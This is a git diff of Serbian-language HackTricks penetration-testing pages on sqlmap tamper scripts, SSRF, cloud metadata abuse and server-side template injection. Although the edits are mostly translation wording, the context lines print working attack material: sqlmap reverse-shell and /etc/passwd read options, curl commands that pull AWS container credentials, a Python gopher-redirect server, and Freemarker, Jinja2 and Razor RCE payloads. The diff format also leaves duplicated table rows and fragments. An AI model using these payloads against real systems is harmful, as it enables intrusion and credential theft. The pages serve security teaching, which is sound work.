| unmagicquotes.py | Zamenjuje karakter navodnika \('\) sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju \(da bi radilo\) |
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' |
| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom |
| varnish.py | Dodaje HTTP header 'X-originating-IP' |
| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom |
| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom |
| xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' |
| xforwardedfor.py | Dodaje lažni HTTP header 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -62,7 +62,7 @@ sqlmap -u "http://example.com/?id=*" -p id
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injekcije u Header-ima i drugim HTTP metodama
### Injekcije u zaglavljima i drugim HTTP metodama
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -97,7 +97,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Pročitajte datoteku
### Pročitaj fajl
```bash
--file-read=/etc/passwd
```
@ -138,21 +138,21 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Opis |
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom |
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| bluecoat.py | Zamenjuje karakter razmaka posle SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| charunicodeencode.py | Unicode-url-kodira nekodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira nekodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
| escapequotes.py | Escape-uje navodnike (' i ") |
| greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom |
@ -166,7 +166,7 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
| securesphere.py | Dodaje posebno oblikovanu string |
| securesphere.py | Dodaje posebno oblikovan string |
| sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
| space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima |
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |

View File

@ -48,7 +48,7 @@ return payload
```
A **SQLMap tamper se uvek izvršava pre nego što započne pokušaj injekcije sa payload-om** **i mora da vrati payload**. U ovom slučaju nam nije stalo do payload-a, već nam je stalo do slanja nekih zahteva, tako da se payload ne menja.
Dakle, ako iz nekog razloga trebamo složeniji tok za iskorišćavanje druge vrste SQL injekcije kao što su:
Dakle, ako iz nekog razloga trebamo složeniji tok za iskorišćavanje druge vrste SQL injekcije kao što je:
- Kreirati nalog sa SQLi payload-om unutar "email" polja
- Odjaviti se

View File

@ -6,7 +6,7 @@
**Server-side Request Forgery (SSRF)** ranjivost se javlja kada napadač manipuliše **server-side aplikacijom** da pravi **HTTP zahteve** ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.
## Zabeleži SSRF
## Zabeležite SSRF
Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:
@ -40,7 +40,7 @@ Pročitajte više ovde: [https://portswigger.net/web-security/ssrf](https://port
- **dict://**
- DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zloćudnim SFTP serverom: `url=sftp://generic.com:11111/`
- Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zlonamernim SFTP serverom: `url=sftp://generic.com:11111/`
- **TFTP://**
- Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje na 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
@ -54,8 +54,8 @@ From https://twitter.com/har1sec/status/1182255952055164929
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
```
- **Curl URL globbing - WAF bypass**
- Ako se SSRF izvršava pomoću **curl**, curl ima funkciju koja se zove [**URL globbing**](https://everything.curl.dev/cmdline/globbing) koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom [**writeup-u**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) možete pronaći ovaj primer za **path traversal putem `file` protokola**:
- **Curl URL globbing - WAF zaobilaženje**
- Ako se SSRF izvršava pomoću **curl**, curl ima funkciju pod nazivom [**URL globbing**](https://everything.curl.dev/cmdline/globbing) koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom [**izveštaju**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) možete pronaći ovaj primer za **putanju prelaz preko `file` protokola**:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -110,7 +110,7 @@ Analitički softver na serverima često beleži Referrer header kako bi pratio d
## SSRF putem SNI podataka iz sertifikata
Pogrešna konfiguracija koja bi mogla omogućiti povezivanje sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:
Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:
```
stream {
server {
@ -149,7 +149,7 @@ Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije:
## SSRF Preusmeravanje na Gopher
Za neka eksploatisanja možda će vam biti potrebno da **pošaljete preusmeravajući odgovor** (potencijalno da koristite drugi protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:
Za neka eksploatisanja možda će vam biti potrebno da **pošaljete preusmeravajući odgovor** (potencijalno da koristite drugačiji protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -278,7 +278,7 @@ Napad:
1. Zatražite od korisnika/bota da **pristupi** **domeni** koju kontroliše **napadač**
2. **TTL** **DNS-a** je **0** sek (tako da će žrtva uskoro ponovo proveriti IP domena)
3. **TLS veza** se uspostavlja između žrtve i domena napadača. Napadač unosi **payload unutar** **Session ID ili Session Ticket**.
4. **Domena** će započeti **beskonačnu petlju** preusmeravanja protiv **sebe**. Cilj ovoga je da se korisnik/bot ponovo poveže na domen dok ne izvrši **ponovo** **DNS zahtev** za domen.
4. **Domena** će započeti **beskonačnu petlju** preusmeravanja protiv **sebe**. Cilj je da se korisnik/bot ponovo poveže na domen dok ne izvrši **ponovo** **DNS zahtev** za domen.
5. U DNS zahtevu se sada daje **privatna IP** adresa (127.0.0.1 na primer)
6. Korisnik/bot će pokušati da **ponovo uspostavi TLS vezu** i da bi to uradio, **poslaće** **Session** ID/Ticket ID (gde je bio sadržan **payload** napadača). Čestitamo, uspeli ste da zatražite od **korisnika/bota da napadne sebe**.
@ -296,7 +296,7 @@ Razlika između slepe SSRF i neslepe je u tome što u slepoj ne možete videti o
## Cloud SSRF Eksploatacija
Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak i akreditive:
Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju, pa čak i akreditive:
{{#ref}}
cloud-ssrf.md

View File

@ -97,13 +97,13 @@ Obratite pažnju na **aws_session_token**, ovo je neophodno za rad profila.
**ECS** je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u **ECS**, **metapodaci se menjaju**.
Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete akreditive ECS mašine. Ali prvo morate da **pronađete \<GUID>**. Da biste pronašli \<GUID>, potrebno je da pročitate **environ** promenljivu **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** unutar mašine.\
Možete biti u mogućnosti da je pročitate iskorišćavajući **Path Traversal** na `file:///proc/self/environ`\
Možete biti u mogućnosti da je pročitate koristeći **Path Traversal** na `file:///proc/self/environ`\
Pomenuta http adresa bi trebala da vam pruži **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Imajte na umu da u **nekih slučajevima** ćete moći da pristupite **EC2 metapodacima instance** iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.
> Imajte na umu da u **nekih slučajevima** ćete moći da pristupite **EC2 metapodacima instance** iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i EC2 IAM ulozi.
### SSRF za AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Zatim koristimo kredencijale sa `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
Zatim koristimo akreditive sa `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP <a href="#id-6440" id="id-6440"></a>
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Metadata endpoint funkcioniše isto kao u VMs, ali bez nekih endpoint-a:
Metapodaci endpoint funkcioniše isto kao u VM-ovima, ali bez nekih endpoint-a:
```bash
# /project
# Project name and number
@ -323,7 +323,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
- Ne sme **imati** zaglavlje `X-Forwarded-For`
> [!TIP]
> Azure VM može imati prikačenu 1 sistemsku upravljanu identitet i nekoliko korisnički upravljanih identiteta. Što u suštini znači da možete **imitirati sve upravljane identitete prikačene na VM**.
> Azure VM može imati prikačenu 1 sistemsku upravljanu identitet i nekoliko korisničkih upravljanih identiteta. Što u suštini znači da možete **imitirati sve upravljane identitete prikačene na VM**.
>
> Po **defaultu**, metadata endpoint će koristiti **sistemski dodeljeni MI (ako postoji)**.
>
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> ```
> [!CAUTION]
> U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljani identitet koji želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **podrazumevani MI će biti korišćen**.
> U zahtevima za token koristite bilo koji od parametara `object_id`, `client_id` ili `msi_res_id` da označite upravljani identitet koji želite da koristite ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ako nijedan, **koristiće se podrazumni MI**.
{{#tabs}}
{{#tab name="Bash"}}
@ -608,7 +608,7 @@ Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pris
## Docker
Docker metapodaci se mogu pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama:
Metapodaci Docker-a mogu se pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama:
- Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker soketa:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
@ -618,7 +618,7 @@ Docker metapodaci se mogu pristupiti lokalno, sa primerima za preuzimanje inform
## Rancher
Rancher-ovi metapodaci se mogu pristupiti koristeći:
Metapodaci Rancher-a mogu se pristupiti koristeći:
- `curl http://rancher-metadata/<version>/<path>`

View File

@ -108,7 +108,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Zbunjenost Domenom
### Zbunjenost domena
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
```
### Obilaženje Putanja i Ekstenzija
Ako je zahtevano da URL završi sa putanjom ili ekstenzijom, ili mora sadržati putanju, možete pokušati jedno od sledećih obilaženja:
Ako je zahtevano da URL mora da se završi putanjom ili ekstenzijom, ili mora da sadrži putanju, možete pokušati jedno od sledećih obilaženja:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -153,7 +153,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog ulaza kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog unosa kako bi pokušao da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
### Automatic Custom Wordlists

View File

@ -63,13 +63,13 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
```
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija šablonska motora.
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a za šablone.
## Eksploati
### Generički
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od motora pomenutih u nastavku:
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -111,7 +111,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Obilaženje sandboks režima**
**Freemarker - Obilaženje sandboks**
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
```java
@ -156,7 +156,7 @@ $out.read()
### Thymeleaf
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj template engine. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
- SpringEL:
@ -317,7 +317,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
- `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab"
- `{{'a'.getClass()}}` - java.lang.String
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
@ -376,7 +376,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su managed beans) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
- **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio nesmetanu interakciju između web sloja i managed beans, osiguravajući koherentniju strukturu aplikacije.
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
@ -614,7 +614,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koja koristi XML tagove za deljenje dokumenta na različite delove
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -670,9 +670,9 @@ URLencoded:
### JsRender (NodeJS)
| **Šablon** | **Opis** |
| ---------- | -------------------------------------- |
| | Evaluiraj i prikaži izlaz |
| | Evaluiraj i prikaži HTML kodiran izlaz |
|------------|----------------------------------------|
| | Evaluiraj i renderuj izlaz |
| | Evaluiraj i renderuj HTML kodiran izlaz|
| | Komentar |
| i | Dozvoli kod (onemogućeno po defaultu) |
@ -815,9 +815,9 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol
### Jinja2 (Python)
[Zvanična veb stranica](http://jinja.pocoo.org)
[Zvanična stranica](http://jinja.pocoo.org)
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD.
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
- `{{7*7}} = Greška`
- `${7*7} = ${7*7}`
@ -900,12 +900,12 @@ ${x}
### Razor (.Net)
- `@(2+2) <= Uspeh`
- `@() <= Uspeh`
- `@("{{code}}") <= Uspeh`
- `@ <= Uspeh`
- `@{} <= GREŠKA!`
- `@{ <= GREŠKA!`
- `@(2+2) <= Success`
- `@() <= Success`
- `@("{{code}}") <= Success`
- `@ <=Success`
- `@{} <= ERROR!`
- `@{ <= ERRROR!`
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
@ -945,7 +945,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
- `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
@ -953,7 +953,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
**XSS Eksploatacija**
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `&lt;script&gt;alert(1)&lt;/script&gt;`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `&lt;script&gt;alert(1)&lt;/script&gt;`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@ -961,7 +961,7 @@ vbnet Copy code
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se eksploatisati kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()

View File

@ -23,7 +23,7 @@ app.run()
### **Izjava o debagovanju**
Ako je Debug Extension omogućen, `debug` tag će biti dostupan za ispis trenutnog konteksta kao i dostupnih filtera i testova. Ovo je korisno da se vidi šta je dostupno za korišćenje u šablonu bez postavljanja debagera.
Ako je Debug Extension omogućen, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno da se vidi šta je dostupno za korišćenje u šablonu bez postavljanja debagera.
```python
<pre>
@ -60,12 +60,12 @@ Ako je Debug Extension omogućen, `debug` tag će biti dostupan za ispis trenutn
```
## **Jinja Injection**
Prvo, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandbox okruženja, ali su dostupni iz sandboxes**.
Prvo, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandboxovanog okruženja, ali su dostupni iz sandboxes**.
### Pristupanje Globalnim Objektima
Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandboxed python okruženja** i biće **dostupni** unutar **sandboxed okruženja.**\
Pored toga, postoje drugi objekti koji će biti **uvek dostupni iz sandboxed okruženja**, to su:
Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandboxovanog python okruženja** i biće **dostupni** unutar **sandboxovanog okruženja.**\
Pored toga, postoje drugi objekti koji će biti **uvek dostupni iz sandboxovanog okruženja**, to su:
```
[]
''
@ -78,7 +78,7 @@ request
Zatim, iz ovih objekata treba da dođemo do klase: **`<class 'object'>`** kako bismo pokušali da **oporavimo** definisane **klase**. To je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz ne-sandboxovanog** python okruženja.
Da bismo pristupili toj **klasi objekta**, potrebno je da **pristupimo objektu klase** i zatim pristupimo ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** što dođemo do ove **klase objekta** mi **pozivamo** **`__subclasses__()`**.
Da bismo pristupili toj **klasnoj klasi**, potrebno je da **pristupimo objektu klase** i zatim pristupimo ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** što dođemo do ove **klasne klase** mi **pozivamo** **`__subclasses__()`**.
Proverite ove primere:
```python
@ -128,9 +128,9 @@ dict.__mro__[-1]
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__`, sada možemo koristiti te klase za čitanje i pisanje fajlova i izvršavanje koda.
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo zadovoljni samo pristupajući **klasi fajlova** da **čitamo/pisemo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo pristupajući **klasi fajlova** da **čitamo/pisamo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
**Čitaj/Piši udaljeni fajl**
**Read/Write remote file**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
@ -159,7 +159,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
Da biste saznali više o **klasama** koje možete koristiti za **izbegavanje**, možete **proveriti**:
Da biste saznali o **više klasa** koje možete koristiti za **izbegavanje**, možete **proveriti**:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -220,7 +220,7 @@ Podrazumevano Flask HTML kodira sve unutar šablona iz bezbednosnih razloga:
#will be
<script>alert(1);</script>
```
**RCE pisanjem zloglasne konfiguracione datoteke.**
**RCE pisanjem zloćudne konfiguracione datoteke.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -248,7 +248,7 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#accessing-global-objects) postoji još jedan način da se dođe do **RCE bez korišćenja te klase.**\
